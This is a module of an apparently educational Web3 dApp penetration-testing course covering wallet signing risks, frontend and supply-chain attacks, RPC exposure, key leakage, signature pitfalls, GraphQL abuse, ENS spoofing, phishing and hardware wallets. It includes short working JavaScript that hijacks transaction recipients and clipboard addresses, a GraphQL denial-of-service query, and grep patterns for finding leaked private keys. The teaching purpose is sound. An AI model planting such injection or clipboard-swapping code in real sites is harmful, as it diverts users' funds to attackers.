Skip to the content.

Module 08 — Web3 dApp Pentesting

Difficulty: Intermediate → Advanced

“Decentralized” applications are rarely fully decentralized. Most dApps have centralized frontends, APIs, databases, and admin panels. This module covers the full Web2+Web3 attack surface of decentralized applications — from wallet interactions to backend API exploitation.


8.1 Web3 Wallet Interaction Security

MetaMask Security Considerations

Risk Description Exploitation
Unlimited token approvals dApps request approve(MAX_UINT256) — if the dApp or its contract is compromised, all approved tokens are at risk Revoke via revoke.cash
Blind signing Users sign messages they can’t read (raw hex) Malicious dApps trick users into signing arbitrary data
eth_sign Signs arbitrary hash — can sign transactions Phishing dApps use eth_sign to sign a transfer tx
Phishing pop-ups Fake MetaMask prompts on malicious sites Cloned approval dialogs

WalletConnect Vulnerabilities

1
2
3
4
5
6
7
8
WalletConnect v2 uses the Relay protocol:
1. Session proposal → user approves connection
2. RPC requests → methods the dApp can call through the wallet

Attack vectors:
- Session hijacking (expired sessions still accepted)
- Man-in-the-middle on relay server
- Malicious dApp requesting dangerous methods (eth_sendTransaction to drainer)

Signing Method Comparison

Method Safety What It Signs Use Case
personal_sign [YES] Safer Prefixed message (EIP-191) Login, off-chain messaging
eth_signTypedData_v4 [YES] Safest Structured data (EIP-712) Permits, orders, meta-txs
eth_sign [NO] Dangerous Raw 32-byte hash Legacy — can sign any tx
eth_signTransaction ! Risky Full transaction object Should only be used internally

8.2 Frontend Attack Vectors

Malicious dApp Injection

1
2
3
4
5
6
7
8
9
10
11
// Attacker injects this into a compromised dApp frontend:
// Intercepts all transactions and redirects funds

const originalSendTransaction = window.ethereum.request;
window.ethereum.request = async function(args) {
    if (args.method === 'eth_sendTransaction') {
        // Redirect the 'to' address to attacker's wallet
        args.params[0].to = '0xAttackerWallet';
    }
    return originalSendTransaction.call(this, args);
};

Clipboard Hijacking

1
2
3
4
5
6
7
8
9
// Monitor clipboard for crypto addresses and replace them
document.addEventListener('copy', function(e) {
    const selection = document.getSelection().toString();
    // If user copies an Ethereum address, replace with attacker's
    if (/^0x[a-fA-F0-9]{40}$/.test(selection.trim())) {
        e.clipboardData.setData('text/plain', '0xATTACKER_ADDRESS');
        e.preventDefault();
    }
});

Supply Chain Attacks on dApp Dependencies

1
2
3
4
5
6
7
8
9
10
11
npm ecosystem attacks:
1. Typosquatting: @uniswap/sdk → @un1swap/sdk (malicious)
2. Dependency confusion: Internal package names published publicly
3. Compromised maintainer: Legitimate package gets malicious update
4. Malicious postinstall scripts: Execute during npm install

Defense:
- Lock dependency versions (package-lock.json)
- Use npm audit / snyk
- Review postinstall scripts
- Use allowlists for critical dependencies

8.3 JSON-RPC Endpoint Security

Dangerous RPC Methods

Method Risk Defense
eth_sign Signs arbitrary data (can be a transaction) Disable or warn users
eth_sendTransaction Sends a transaction Show clear confirmation UI
eth_signTypedData Signs typed data (permits) Show decoded data in wallet
debug_traceTransaction Reveals internal tx execution Don’t expose on public RPC
eth_getStorageAt Reads arbitrary storage Don’t rely on “private” storage
admin_* Node administration Never expose publicly
miner_* Mining control Never expose publicly

Public RPC Node Risks

1
2
3
4
5
6
7
If a dApp hardcodes a public RPC endpoint:
1. RPC provider can see all user transactions (privacy leak)
2. RPC can return manipulated data (fake balances, fake nonces)
3. RPCs can censor transactions (refuse to broadcast)
4. Free RPCs have rate limits → DoS vector for dApp

Defense: Users should use their own RPC, or dApp should rotate providers

8.4 Private Key Leakage

Common Leakage Vectors

Vector How It Happens Frequency
Frontend JavaScript Private key hardcoded in client-side code Common in amateur projects
.env in version control .env file committed to public GitHub Very common
Browser local storage Wallet stores keys in localStorage (non-hardware wallets) Medium
Server environment variables Secret leaked via error pages, debug endpoints Medium
CI/CD logs Keys printed or logged during deployment Common
Dependency exfiltration Malicious npm package reads process.env Event-stream incident

Detection in Pentests

1
2
3
4
5
6
7
8
9
10
11
12
# Search for private keys in frontend code
grep -rn "0x[a-fA-F0-9]\{64\}" src/ --include="*.js" --include="*.ts" --include="*.jsx"

# Search for .env files in git history
git log --all --full-history -- "*.env"
git log --all --full-history -- ".env*"

# Check for hardcoded mnemonics
grep -rn "candy maple\|abandon abandon\|test test\|knife multi" src/ --include="*.js"

# Search for common private key variable names
grep -rn "PRIVATE_KEY\|DEPLOYER_KEY\|MNEMONIC\|SEED_PHRASE" src/ --include="*.js"

8.5 Insecure Signature Handling

EIP-712 (Typed Data) Security

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Proper EIP-712 domain — prevents cross-domain replay
const domain = {
    name: "MyProtocol",
    version: "1",
    chainId: 1,                          // [YES] Prevents cross-chain replay
    verifyingContract: "0xContractAddr",  // [YES] Prevents cross-contract replay
};

// Typed data specification
const types = {
    Permit: [
        { name: "owner", type: "address" },
        { name: "spender", type: "address" },
        { name: "value", type: "uint256" },
        { name: "nonce", type: "uint256" },        // [YES] Prevents replay
        { name: "deadline", type: "uint256" },      // [YES] Time-limited
    ],
};

Common Signature Pitfalls

Pitfall Impact    
Using eth_sign instead of signTypedData Users can’t verify what they’re signing    
No nonce in signed data Signature can be replayed    
No chainId in domain Signature valid on all chains    
No deadline Signature valid forever    
Missing verifyingContract in domain Valid across different contracts    
Signature malleability (ECDSA) Same message, different (valid) signature s value can be in upper or lower half Use OpenZeppelin’s ECDSA.recover() which enforces lower-s

8.6 Backend API Security

Centralized Components of “Decentralized” Apps

Most dApps have centralized components:

1
2
3
4
5
6
7
8
9
10
┌─────────────────────────────────────────────┐
│              "Decentralized" App            │
├─────────────────────────────────────────────┤
│  Frontend (React/Next.js)     ← Centralized│
│  Backend API (Node.js)        ← Centralized│
│  Database (PostgreSQL)        ← Centralized│
│  Admin Panel                  ← Centralized│
│  Smart Contracts (Ethereum)   ← Decentralized│
│  IPFS Storage (sometimes)     ← Variable   │
└─────────────────────────────────────────────┘

API Security Checklist


8.7 GraphQL / Subgraph Injection

Subgraph Query Manipulation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Excessive query (DoS)
{
  tokens(first: 1000, orderBy: totalSupply, orderDirection: desc) {
    id
    name
    symbol
    totalSupply
    holders(first: 1000) {    # Nested pagination → massive response
      id
      balance
      transactions(first: 1000) {  # Deeply nested → exponential data
        id
        amount
      }
    }
  }
}

GraphQL-Specific Attacks Against dApp APIs

Attack Description Defense
Introspection Query __schema to discover all types and fields Disable introspection in production
Batch queries Send many queries in one request (DoS) Limit query depth and complexity
Aliasing Use aliases to bypass rate limiting Rate limit by user, not by query
Field suggestion Error messages reveal field names Disable suggestions in production

8.8 Centralized Admin Panel Attacks

1
2
3
4
5
6
7
8
9
10
Common admin panel vulnerabilities in dApps:
1. Default credentials (admin/admin)
2. No MFA (2FA not required for admin access)
3. Exposed admin panel URL (often at /admin, /dashboard)
4. Admin can:
   - Pause/unpause contracts
   - Upgrade proxy implementations
   - Modify protocol parameters
   - Whitelist/blacklist addresses
5. Admin key stored in .env on a server → server compromise = protocol compromise

8.9 IPFS Content Injection

1
2
3
4
5
6
7
8
9
10
11
If a dApp stores content references on IPFS:
1. Content addressing = content is verified by hash
2. BUT: If the smart contract stores an HTTP URL (not IPFS CID), content can change
3. IPFS gateways can be compromised → serve wrong content
4. Metadata update attacks: If contract has setTokenURI(), owner changes metadata post-sale

Attack scenario for NFTs:
1. Mint NFT with attractive art stored on IPFS (pinned by creator)
2. Sell NFT at premium
3. Unpin the content → image disappears
4. Or: Update tokenURI to point to different content

8.10 ENS Spoofing & Homoglyph Attacks

ENS (Ethereum Name Service) Attack Vectors

Attack Description
Homoglyph Register unіswap.eth (Cyrillic ‘і’) vs uniswap.eth (Latin ‘i’)
Expired ENS Previous owner’s ENS name expires, attacker registers it → receives misdirected funds
Subdomain spoofing legit.protocol.ethlegit-protocol.fake.eth
ENS record manipulation If attacker gains control of ENS record, they can redirect resolution to their contract
1
2
3
# Check ENS resolution
cast resolve-name vitalik.eth
cast lookup-address 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045

8.11 Web3 Phishing Techniques

Phishing Attack Types

Technique Mechanism Defense
Approval phishing Trick user into approving token spend to attacker’s contract Use Rabby wallet (shows simulation)
Permit phishing Trick user into signing EIP-2612 permit (gasless approval) Check what you’re signing
Fake mint sites Clone NFT project website with drainer contract Verify contract on Etherscan
Ice phishing Get user to sign a message that’s actually a transaction Use signTypedData with clear domain
Address poisoning Send 0-value transfers from similar-looking addresses, hoping victim copies from tx history Always verify full address
DNS hijacking Compromise protocol’s domain, serve malicious frontend Use bookmarks, verify contract

Address Poisoning Attack

1
2
3
4
5
6
7
8
9
How it works:
1. Victim regularly sends to 0xA1B2...9F00 (legitimate address)
2. Attacker generates an address with same first/last characters: 0xA1B2...9F00
   (Different middle characters)
3. Attacker sends 0 tokens FROM the spoofed address TO the victim
4. Victim sees the spoofed address in transaction history
5. Victim copy-pastes the wrong address for next transfer → funds go to attacker

Defense: Always verify the FULL address, use address book/contacts

8.12 Browser Extension Security

Malicious Extensions

1
2
3
4
5
6
7
8
9
10
11
12
Attack vectors:
1. Fake wallet extensions (not from official MetaMask)
2. Extensions with "Access all website data" permissions
3. Extensions that inject JavaScript into dApp pages
4. Keyloggers disguised as browser extensions

What malicious extensions can do:
- Read seed phrases from wallet UI
- Intercept transaction signing
- Modify displayed transaction details
- Redirect tokens/ETH to attacker addresses
- Read clipboard (address replacement)

8.13 Hardware Wallet Attack Surface

Physical Attack Vectors

Attack Complexity Description
Supply chain High Tampered hardware wallet shipped pre-compromised
Side channels Very High Power analysis, electromagnetic emanation during signing
Fault injection Very High Voltage glitching to bypass PIN protection
Firmware update Medium Malicious firmware update disguised as legitimate
Social engineering Low “Enter your seed phrase to update firmware” phishing
Evil maid Medium Physical access to unlock and extract keys

Software-Level Hardware Wallet Risks

1
2
3
4
5
Even with hardware wallets:
1. The transaction must still be verified on screen
2. If the hardware wallet's screen is compromised → displays wrong address
3. Blind signing on hardware wallets (signing without full tx display) is dangerous
4. Some hardware wallets don't fully decode EIP-712 typed data

Key Takeaway: Web3 security extends far beyond smart contracts. The biggest losses to end users come from phishing, approval exploits, and compromised frontends — not smart contract bugs. A comprehensive Web3 pentest must cover the entire stack: frontend, backend API, wallet integration, DNS, and social engineering vectors. Don’t forget that most “decentralized” apps are actually centralized apps that interact with smart contracts.


*← Previous: DeFi Protocol Attacks Next: MEV & Mempool →*